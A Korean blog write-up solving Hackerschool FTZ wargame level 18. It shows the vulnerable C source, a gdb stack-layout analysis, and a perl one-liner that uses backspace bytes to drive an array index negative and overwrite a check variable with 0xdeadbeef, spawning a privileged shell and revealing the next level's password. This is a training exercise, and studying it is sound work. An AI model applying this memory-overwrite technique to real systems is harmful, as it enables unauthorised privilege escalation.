FTZ_level18
[level18@ftz level18]$ bash2 [level18@ftz level18]$ cat hint
#include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1) { if(FD_ISSET(fileno(stdin),&fds)) { read(fileno(stdin),&x,1); switch(x) { case '\r': case '\n': printf("\a"); break; case 0x08: count--; printf("\b \b"); break; default: string[count] = x; count++; break; } } } } } }
void shellout(void) { setreuid(3099,3099); execl("/bin/sh","sh",NULL); } |
bash2를 띄우고, 힌트를 보니… ㅎㅎ… 힌트가 참 길군요..
복잡하네요.. 파일 디스크립터 관련 fd_set 등 함수들은 처음이라 당황스럽네요
중요한 부분만 보면 check를 0xdeadbeef로 덮어쓰면 셸이 실행되네요
read(fileno(stdin),&x,1) 으로부터 x를 입력받아 switch구문으로 이어지네요
프로그램 진행 흐름상 이 부분은 입력이 있으면 실행되는 부분같으니 파일 디스크립터 관련 함수들은 훼이크 같습니다
스위치 부분이 중요하겟네요 \r, \n은 딱히 의미가 없는것 같구요
0x08을 입력받으면 count를 — 해주네요
그 외의 값들은 string[count]에 넣어주고, count를 ++ 해줍니다.
이 부분이 의심스럽다는 삘을 주네요
string의 시작주소를 기준으로 count 값을 변경해주면, 원하는 곳을 원하는 값으로 덮어줄 수 있겠네요
( if(count >=100) 조건문이 있으므로 SFP나 RET를 덮어쓸 순 없을 것 같습니다. )
일단 메모리 구조를 순서대로 대충 그려보겠습니다.
(높은메모리방향) string -> check -> x -> count (낮은 메모리 방향)
string의 시작주소를 기준으로 check가 바로 밑에 있네요 이부분을 0xdeadbeef로 덮어 써주겠습니다.
count 값을 통해 덮어써야할 메모리로 이동하려면, string과 check 시작주소 사이의 거리를 재야겠네요
gdb를 통해 메모리들의 주소를 찾아보겠습니다.
(gdb) disas main Dump of assembler code for function main: 0x08048550 <main+0>: push %ebp 0x08048551 <main+1>: mov %esp,%ebp 0x08048553 <main+3>: sub $0x100,%esp …생략… 0x080485ab <main+91>: cmpl $0xdeadbeef,0xffffff98(%ebp) …생략… 0x080486dc <main+396>: mov %eax,0xffffff04(%ebp) 0x080486e2 <main+402>: mov 0xffffff04(%ebp),%ecx 0x080486e8 <main+408>: push %ecx 0x080486e9 <main+409>: call 0x8048490 <read> 0x080486ee <main+414>: add $0xc,%esp …생략… 0x08048731 <main+481>: decl 0xffffff90(%ebp) …생략… 0x08048743 <main+499>: lea 0xffffff9c(%ebp),%eax 0x08048746 <main+502>: mov %eax,0xffffff04(%ebp) 0x0804874c <main+508>: mov 0xffffff90(%ebp),%edx 0x0804874f <main+511>: mov 0xffffff94(%ebp),%cl 0x08048752 <main+514>: mov %cl,0xffffff03(%ebp) 0x08048758 <main+520>: mov 0xffffff03(%ebp),%al 0x0804875e <main+526>: mov 0xffffff04(%ebp),%ecx 0x08048764 <main+532>: mov %al,(%edx,%ecx,1) |
main+3을 보면 0x100( 10진수로 256바이트 ) 의 메모리를 확보하는게 보이네요
main+91부분, check와 0xdeadbeef를 비교하는 부분이죠, ebp로부터 104바이트 떨어진 곳에 check가 있습니다.
x를 read함수로 입력받는 main+396 ~ main+414부분을 보겠습니다.
특히 main+402 부분을 보면 x의 위치는 ebp 로부터 252바이트만큼 떨어진 곳에 있네요
main+481 이나 main+535 같은 count 값이 변하는 곳을 보면, ebp로부터 112바이트만큼 떨어진곳에 count가 존재합니다.
main+499 ~ main+532 부분이 string[count]=x 부분이겠군요 main+499 를 보면 ebp로부터 100바이트 떨어진 곳에 string이 존재합니다.
메모리 구조를 그려보겠습니다.
RET |
SFP |
string [100] |
check [4] |
dummy [4] |
count [4] |
dummy [136] |
x [4] |
fds [4] |
string[count]=x 를 이용할떄, check를 덮어씌워주려면 string으로부터 -4인 위치를 덮어줘야겟군요
0x08을 4번입력해서 count를 -4로 만들어준 후에 덮어씌워주면 되겠네요
공격해보겠습니다..!!
[level18@ftz level18]$ (perl -e 'print "\x08"x4,"\xef\xbe\xad\xde"'; cat) | ./attackme Enter your command:
id uid=3099(level19) gid=3098(level18) groups=3098(level18) my-pass
Level19 Password is "swimming in pink".
|
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level20 -> clear ) + 포맷스트링버그의 이해 by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level19 -> level20 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level17 -> level18 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level16 -> level17 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level15 -> level16 ) by ORANG (0) | 2014.10.20 |